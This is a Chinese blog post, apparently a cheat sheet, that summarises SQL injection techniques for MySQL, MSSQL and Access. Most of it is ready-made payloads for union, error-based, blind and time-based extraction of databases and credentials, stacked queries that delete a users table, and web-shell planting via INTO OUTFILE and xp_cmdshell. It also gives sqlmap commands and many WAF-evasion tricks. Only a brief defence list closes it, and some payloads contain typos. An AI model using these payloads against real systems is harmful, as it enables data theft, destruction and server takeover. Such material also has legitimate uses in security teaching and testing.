科普基础 | 最全的SQL注入总结
ccwgpt 2024-12-05 11:51 23 浏览 0 评论
0x01 SQL注入原理
当客户端提交的数据未作处理或转义直接带入数据库,就造成了sql注入。
攻击者通过构造不同的sql语句来实现对数据库的任意操作。
0x02 SQL注入的分类
按变量类型分:数字型和字符型
按HTTP提交方式分:POST注入、GET注入和Cookie注入
按注入方式分:布尔注入、联合注入、多语句注入、报错注入、延时注入、内联注入
按数据库类型分:
sql:oracle、mysql、mssql、access、sqlite、postgersql
nosql:mongodb、redis
0x03 MySQL与MSSQL及ACCESS之间的区别
1.MySQL5.0以下没有information_schema这个默认数据库
2.ACCESS没有库名,只有表和字段,并且注入时,后面必须跟表名,ACCESS没有注释
举例:select 1,2,3 from `table_name` union select 1,2,3 from `table_name`
3.MySQL使用limit排序,ACCESS使用TOP排序(TOP在MSSQL也可使用)
0x04 判断三种数据库的语句
MySQL:and length(user())>10
ACCESS:and (select count(*)from MSysAccessObjects)>0
MSSQL:and (select count(*)from sysobjects)>0
0x05 基本手工注入流程
1.判断注入点
数字型:id=2-1
字符型:' 、')、 '))、 "、 ")、 "))
注释符:-- (这是--空格)、--+、/**/、#
2.获取字段数
order by 二分法联合查询字段数,观察页面变化从而确定字段数
order by 1
order by 50
group by 译为分组,注入时也可使用,不过我没用过
3.查看显示位尝试使用联合注入
利用and 1=2或and 0及id=-12查看显示数据的位置
替换显示位改成SQL语句,查看信息(当前数据库,版本及用户名)
and 1=2 union select version(),2,3
再查询所有数据库
and 1=2 union select (select group_concat(schema_name)from information schema.schemata),2,3
查询所有表名
union select (select group_concat(table_name)from information_schema.tables),2,3
查询所有字段名
union select (select group_concat(column_name)from information_schema.columns),2,3
查询字段内容
如:查询test库下users表的id及uname字段,用'~'区分id和uname以防字符连接到一起
union select(select group_concat(id,'~',uname)from test.users),2,3
0x06 报错注入
通用报错语句:(测试版本MySQL8.0.12,MySQL5.0,mariadb5.5版本下)
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
0x07 布尔盲注
盲注中常用的函数:
1.char() 解ASCII码
2.mid()截取字符串
举例:mid('hello',1,3),从第1位开始截取3位,输出位hel
3.substr()与mid()相同,都为截取字符串
4.count()计算查询结果的行数
5.concat()查询结果合并但保持原有行数
6.group_concat()查询结果合并但都放在一行中
7.ascii() 查询ascii码
猜数据库长度(利用二分法)
id=1 and (length(database()))>1
id=1 and (length(database()))>50
猜第一个字符,第二个字符,以此类推
and ascii(mid(database(),1,1))>1
and ascii(mid(database(),2,1))>1
查询当前数据库中所有表名
and (select count(table_name)from information_schema.tables where tables_schema=database())>1
and (select count(table_name)from information_schema.tables where tables_schema=database())>10
查询第一个表的长度
and (select length(table_name)from information_schema.tables where tables_schema=database()limit 0,1)>10
查询表的第一个字符
and ascii(mid((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>1
查询atelier表里有几个字段
and(select count(column_name)from information_schema.columns where table_name = 'atelier' and table_schema = database())>2
查询第一个字段长度
and length((select column_name from information_schema.columns where table_name='atelier' and table_schema= database()limit 0,1))>1
查询字段第一个字符
and ascii(mid((select column_name from information_schema.columns where table_schema = 'db83231_asfaa' and TABLE_NAME ='atelier' limit 0,1),1,1))>105
查询字段所有行数
and (select count(*) from db83231_asfaa.atelier)>4
查询字段名的行数(查询emails表,uname字段)
and (select count(uname)from security.emails)>7 查询uname的行数
查询字段内容
length((select username from security.users limit 0,1))>10
ascii(mid((select username from security.user limit 0,1),1,1))>100
将查询到的ASCII码放到mysql中查询
举例:select char(39);
0x08 延时盲注
利用sleep(3)和if(1=2,1,0)及case进行延时注入,示例:
select * from user where id='1' or sleep(3) %23
这个没什么好说的
select * from user where id= 1 and if(length(version())>10,sleep(3),0);
如果长度大于10,则睡3秒,其他则0秒
select * from user where id= 1 and case length(version())>10 when 1 then sleep(3) else 0 end;
case定义条件,when 后面的1表示ture也代表真,当条件为真时,睡3秒,其他则0秒。
0x09 多语句注入
多语句意思就是可以执行多个语句,利用分号进行隔开
示例:id=1";WAITFOR DELAY '0:0:3';delete from users; --+
id=1';select if(length(user(),1,1)>1,sleep(3),1) %23
';select if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>1,sleep(3),1) %23
0x10 内联注入
举例:id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
利用别名:
union select 1,2,3,4,a.id,b.id,* from(sys_admin as a inner join sys_admin as b on a.id=b.id)
0x11 getshell
id=-1' union select 1,2,(select '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/404.php') --+
也可使用dumpfile进行写入
outfile和dumpfile的区别:
outfile适合导库,在行末尾会写入新行并转义,因此不能写入二进制可执行文件。dumpfile只能执行一行数据。
数据库写入:
exec master..xp_cmdshell 'echo "<%eXECutegLobaL rEquEst(0)%>" > "c:\www\upload\Files\2019-11\404.asp"'
0x12 宽字节注入
当编码位gbk时,%df%27或%81%27数据为空
就是说客户端发送的数据编码为gbk时,那么可能会吃掉转义字符\反斜杠,闭合之后页面恢复正常,存在宽字节注入
测试出来就可以使用sqlmap跑了,23333
加*构造注入点(比-p更稳定),让sqlmap对构造注入点进行注入攻击(*优先级更高)
宽字节防御:
第10行代码必须和第24行必须同时使用,要么就更换编码格式
0x13 二次编码注入
代码中有urldecode() 函数
%2527 先解码成%27再解码成'单引号
sqlmap -u http://192.168.100.141/index.php/author=123 --prefix "%2527" --suffix "%23"
-prefix为设置前缀 -suffix为设置后缀
设置后缀,防止sqlmap使用内联注
0x14 二次注入
abc' 数据经过addslashes过滤,单引号前面添加反斜杠abc\',但传到数据库的数据还是abc'
假如在如下场景中,我们浏览一些网站的时候,可以现在注册见页面注册username=test',接下来访问xxx.php?username=test',页面返回id=22;
接下来再次发起请求xxx.php?id=22,这时候就有可能发生sql注入,比如页面会返回MySQL的错误。
访问xxx.php?id=test' union select 1,user(),3%23,获得新的id=40,得到user()的结果,利用这种注入方式会得到数据库中的值。
0x15 XFF头注入
update user set loat_loginip = '8.8.8.8' where id =1 and sleep(5) #' where username = 'zs';
id根据网站用户量取一个中间值,测试是否有注入,利用插件设置XFF头,如果网站不报错,可尝试此注入
X-Forward-For:127.0.0.1' select 1,2,user()
0x16 常用过WAF技巧
1.特征字符大小写(基本没用)
UnIoN SeLcT 1,2,3
2.内联注释
id=-1/*!UNION*/%20//*!SELECT*/%201,2,3
3.特殊字符代替空格
%09 tab键(水平)、%0a 换行、%0c 新的一页
%0d return功能、%0b tab键(垂直)、%a0空格
4.等价函数和逻辑符号
hex()、bin()==>ascii()
sleep()==>benchmark()
concat_ws()==>group_concat()
mid()、substr()==>substring()
@@version==>version()
@@datadir==>datadir()
逻辑符号:如and和or不能使用时,尝试&&和||双管道符。
5.特殊符号
反引号,select `version()`,绕过空格和正则
加号和点,"+"和"."代表连接,也可绕过空格和关键字过滤
@符号,用于定义变量,一个@代表用户变量,@@代表系统变量
6.关键字拆分
'se'+'lec'+'t'
%S%E%L%C%T 1,2,3
?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell"net user"')
!和():'or--+2=--!!!'2
id=1+(UnI)(oN)+(SeL)(EcT)
7.加括号绕过
小括号
union (select+1,2,3+from+users)%23
union(select(1),(2),(3)from(users))
id=(1)or(0x50=0x50)
id=(-1)union(((((((select(1),hex(2),hex(3)from(users))))))))
花括号
select{x user}from{x mysql.user}
id=-1 union select 1,{x 2},3
8.过滤and和or下的盲注
id=strcmp(left((select%20username%20from%20users%20limit%200,1),1),0x42)%23
id=strcmp(left((select+username+from+limit+0,1),1,0x42)%23
9.白名单绕过
拦截信息:
GET /pen/news.php?id=1 union select user,password from mysql.user
绕过:
GET /pen/news. php/admin?id=1 union select user,password from mysql. user
GET /pen/admin/..\news. php?id=1 union select user,password from mysql. user
10.HTTP参数控制
(1)HPP(HTTP Parmeter Polution)(重复参数污染)
举例:
index.php?id=1 union select username,password from users
index.php?id=1/**/union/*&id=*/select/*&id=*/username.password/*&id=*/from/*&id=*/users
HPP又称作重复参数污染,最简单的是?uid=1&uid=2&uid=3,对于这种情况,不用的web服务器处理方式不同。
具体WAF如何处理,要看设置的规则,不过示例中最后一个有较大可能绕过
(2)HPF(HTTP Parmeter Fragment)(HTTP分割注入)
HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)
举例:
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—
0x17 SQL注入防御
1.对用户输入的内容进行转义
2.限制关键字的输入,如单引号、双引号、右括号等,限制输入的长度
3.使用SQL语句预处理,对SQL语句进行预编译,然后进行参数绑定,最后传入参数
4.添加WAF,防火墙等
相关推荐
- 腾讯开源框架TarsCpp-rpc设计分析-server(二)
-
2Tars协议2.1是什么借用官方说法:TARS编码协议是一种数据编解码规则,它将整形、枚举值、字符串、序列、字典、自定义结构体等数据类型按照一定的规则编码到二进制数据流中。对端接收到二进制数据流...
- 微服务调用为什么用RPC框架,http不更简单吗?
-
简单点,HTTP是协议,RPC是概念!实现RPC可以基于HTTP协议(Feign),TCP协议(Netty),RMI协议(Soap),WebService(XML—RPC)框架。传输过程中,也因为序列...
- go-zero:开箱即用的微服务框架(gin框架微服务)
-
go-zero是一个集成了各种工程实践的Web和rpc框架,它的弹性设计保障了大并发服务端的稳定性,并且已经经过了充分的实战检验。go-zero在设计时遵循了“工具大于约定和文档”的理...
- SOFARPC :高性能、高扩展性、生产级的 Java RPC 框架
-
#暑期创作大赛#SOFARPC是一个高性能、高扩展性、生产级的JavaRPC框架。在蚂蚁金服,SOFARPC已经使用了十多年,已经发展了五代。SOFARPC致力于简化应用程序之间的RPC...
- 自研分布式高性能RPC框架及服务注册中心ApiRegistry实践笔记
-
痛点1.bsf底层依赖springcloud,影响bsf更新springboot新版本和整体最新技术版本升级。2.eureka已经闭源,且框架设计较重,同时引入eureka会自行引入较多sprin...
- Rust语言从入门到精通系列 - Tonic RPC框架入门实战
-
Rust语言是一种系统级语言,被誉为“没有丧失性能的安全语言”。Rust语言的优势在于其内存安全机制,在编译时就能保证程序的内存安全。Tonic模块是Rust语言的一个RPC(RemoteProce...
- 腾讯开源框架TarsCpp-rpc设计分析-client(一)
-
前言Tars是腾讯开源的微服务平台,包含了一个高性能的rpc框架和服务治理平台,TarsCpp是其C++版本。对于以C++为主要开发语言,同时还想深入了解rpc和微服务框架具体实现的同学来说,Tars...
- 设计了一款TPS百万级别的分布式、高性能、可扩展的RPC框架
-
为啥要开发RPC框架事情是这样的,在开发这个RPC框架之前,我花费了不少时间算是对Dubbo框架彻底研究透彻了。冰河在撸透了Dubbo2.x和Dubbo3.x的源码之后,本来想给大家写一个Dubbo源...
- rpc框架使用教程,超级稳定好用,大厂都在使用
-
rpc是什么远程调用协议如何使用导入依赖<dependency><groupId>org.apache.dubbo</groupId><art...
- Layui 框架实战:动态加载 Select 与二级联动全解析
-
在现代Web开发中,下拉选择框(Select)是用户输入数据时不可或缺的组件。很多时候,我们需要的选项并非静态写死在HTML中,而是需要根据业务逻辑从后端动态获取。更有甚者,我们可能需要实现“...
- 15个能为你节省数百小时的前端设计神器,从UI库到文档生成
-
无论你是刚开始开发之旅的新手,还是疲于应付生产期限的资深程序员,有一个真理始终不变:正确的工具能彻底改变你的工作流程。多年来,我测试了数百个开发工具——有些实用,大多数平庸。但有一批免费网站经受住了时...
- Layui与WinForm通用权限管理系统全解析
-
嘿,小伙伴们,今天咱们来聊聊Layui和WinForm这两个框架在通用权限管理系统中的应用。别担心,我会尽量用简单易懂的语言来讲解,保证让大家都能跟上节奏!首先说说Layui。Layui是一个前端UI...
- 纯Python构建精美UI!MonsterUI让前端开发效率飙升
-
“无需CSS知识,告别类名记忆,11行代码实现专业级卡片组件”在传统Web开发中,构建美观界面需要同时掌握HTML、CSS、JavaScript三剑客,开发者不得不在多种语言间频繁切换。即使使用Boo...
- WebTUI:将终端用户界面(TUI)之美带到浏览器的CSS库
-
在当今Web技术飞速发展的时代,界面设计愈发复杂多样。然而,随着现代化工具的广泛使用,一些开发者开始回归极简风格,追求一种简洁而富有韵味的设计。WebTUI正是这样一款CSS库,它将经典的终...
- 人教版二年级下册生字描红汇总(拼音+笔顺+描红),可打印!
-
可定制内容,评论区留言。本次整理的为人教版二年级下册所有生字,共计300个;写字是小学阶段一项重要的基本功训练,把汉字写得正确、工整、美观,可以提高运用汉字这一交际工具的准确性和效率。对小学生进行写字...
你 发表评论:
欢迎- 一周热门
- 最近发表
-
- 腾讯开源框架TarsCpp-rpc设计分析-server(二)
- 微服务调用为什么用RPC框架,http不更简单吗?
- go-zero:开箱即用的微服务框架(gin框架微服务)
- SOFARPC :高性能、高扩展性、生产级的 Java RPC 框架
- 自研分布式高性能RPC框架及服务注册中心ApiRegistry实践笔记
- Rust语言从入门到精通系列 - Tonic RPC框架入门实战
- 腾讯开源框架TarsCpp-rpc设计分析-client(一)
- 设计了一款TPS百万级别的分布式、高性能、可扩展的RPC框架
- rpc框架使用教程,超级稳定好用,大厂都在使用
- Layui 框架实战:动态加载 Select 与二级联动全解析
- 标签列表
-
- 框架图 (58)
- flask框架 (53)
- quartz框架 (51)
- abp框架 (47)
- jpa框架 (47)
- springmvc框架 (49)
- 分布式事务框架 (65)
- scrapy框架 (56)
- shiro框架 (61)
- 定时任务框架 (56)
- java日志框架 (61)
- JAVA集合框架 (47)
- mfc框架 (52)
- abb框架断路器 (48)
- ui自动化框架 (47)
- beego框架 (52)
- java框架spring (58)
- grpc框架 (65)
- tornado框架 (48)
- 前端框架bootstrap (54)
- ppt框架 (48)
- 内联框架 (52)
- cad怎么画框架 (58)
- ssm框架实现登录注册 (49)
- oracle字符串长度 (48)